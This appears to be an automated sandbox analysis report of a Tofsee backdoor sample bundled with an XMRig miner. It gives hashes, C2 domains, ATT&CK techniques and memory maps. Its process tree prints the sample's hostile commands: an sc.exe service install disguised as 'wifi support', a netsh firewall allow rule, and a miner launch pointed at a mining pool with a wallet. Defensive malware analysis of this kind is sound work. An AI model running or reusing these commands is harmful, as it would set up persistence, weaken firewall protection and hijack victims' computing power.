Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-12-2022 18:34

General

  • Target

    684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b.exe

  • Size

    192KB

  • MD5

    c2d7638f1b0fba63a9f60d51c8d68e79

  • SHA1

    2cd829b2d2c25f29ca6b3b520784b029355edcef

  • SHA256

    684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b

  • SHA512

    061ed2266a39cb0df01940e0cab2646db7edd4904d5589b7747772148c734e18078de4ad6c2cb50046a99f863ada8ca43e295f11879b70d1f16785eac5d0b5d8

  • SSDEEP

    3072:k2kfHntlFLOB15qE8qOjEpydJLpn22+gcwjDAbEa3Qy/:+lFLOBw1jIYhpeTEaA

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b.exe
    "C:\Users\Admin\AppData\Local\Temp\684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dwdtvrjr\
      2⤵
        PID:4808
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe" C:\Windows\SysWOW64\dwdtvrjr\
        2⤵
          PID:4860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dwdtvrjr binPath= "C:\Windows\SysWOW64\dwdtvrjr\xngebkrq.exe /d\"C:\Users\Admin\AppData\Local\Temp\684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dwdtvrjr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dwdtvrjr
          2⤵
          • Launches sc.exe
          PID:1556
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4220
      • C:\Windows\SysWOW64\dwdtvrjr\xngebkrq.exe
        C:\Windows\SysWOW64\dwdtvrjr\xngebkrq.exe /d"C:\Users\Admin\AppData\Local\Temp\684b3559cee2ce8907739d016f2da360e91b753462c054f3be64e874581b5e7b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3988
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4512
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4444

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xngebkrq.exe
        Filesize

        13.2MB

        MD5

        d9734fdd99d5c60b701682ddb0b717ff

        SHA1

        06170673a4263a27eebb53f2d8ea48e808aad498

        SHA256

        3369d625e0cea7dcb6d44fae019317365f4a2d3b18cc37f86fd63e208a45fe87

        SHA512

        6dbf21e979e4cbab642976d8015b7f982b3f237ccd26b2a94e4a963415e0ee7e39288e9ce072c166d6e9205737076e4fb4c808ea557d43fc0b74e2f2eda9819e

      • C:\Windows\SysWOW64\dwdtvrjr\xngebkrq.exe
        Filesize

        13.2MB

        MD5

        d9734fdd99d5c60b701682ddb0b717ff

        SHA1

        06170673a4263a27eebb53f2d8ea48e808aad498

        SHA256

        3369d625e0cea7dcb6d44fae019317365f4a2d3b18cc37f86fd63e208a45fe87

        SHA512

        6dbf21e979e4cbab642976d8015b7f982b3f237ccd26b2a94e4a963415e0ee7e39288e9ce072c166d6e9205737076e4fb4c808ea557d43fc0b74e2f2eda9819e

      • memory/1556-200-0x0000000000000000-mapping.dmp
      • memory/2692-158-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-150-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-120-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-121-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-159-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-123-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-124-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-125-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-126-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-127-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-128-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-129-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-131-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-132-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-133-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-134-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-135-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-136-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-137-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-138-0x0000000000580000-0x00000000006CA000-memory.dmp
        Filesize

        1.3MB

      • memory/2692-139-0x0000000000550000-0x0000000000563000-memory.dmp
        Filesize

        76KB

      • memory/2692-140-0x0000000000580000-0x00000000006CA000-memory.dmp
        Filesize

        1.3MB

      • memory/2692-141-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-142-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-144-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-143-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-145-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-146-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-147-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-148-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-149-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-160-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/2692-151-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-152-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-153-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-154-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-155-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-156-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-157-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-115-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-122-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-119-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-161-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-162-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-163-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-164-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-165-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-166-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-116-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-217-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/2692-215-0x0000000000550000-0x0000000000563000-memory.dmp
        Filesize

        76KB

      • memory/2692-117-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2692-118-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/3336-186-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/3336-185-0x0000000000000000-mapping.dmp
      • memory/3336-188-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/3336-187-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/3988-345-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/3988-340-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

      • memory/3988-337-0x00000000004D0000-0x000000000057E000-memory.dmp
        Filesize

        696KB

      • memory/4220-213-0x0000000000000000-mapping.dmp
      • memory/4444-520-0x00000000032E259C-mapping.dmp
      • memory/4512-485-0x0000000003280000-0x0000000003295000-memory.dmp
        Filesize

        84KB

      • memory/4512-439-0x0000000003280000-0x0000000003295000-memory.dmp
        Filesize

        84KB

      • memory/4512-338-0x0000000003289A6B-mapping.dmp
      • memory/4808-167-0x0000000000000000-mapping.dmp
      • memory/4808-172-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4808-171-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4808-168-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4808-169-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4808-170-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4860-173-0x0000000000000000-mapping.dmp
      • memory/4860-178-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4860-177-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4860-176-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4860-175-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4860-174-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5092-181-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5092-182-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5092-183-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5092-184-0x0000000077C70000-0x0000000077DFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5092-180-0x0000000000000000-mapping.dmp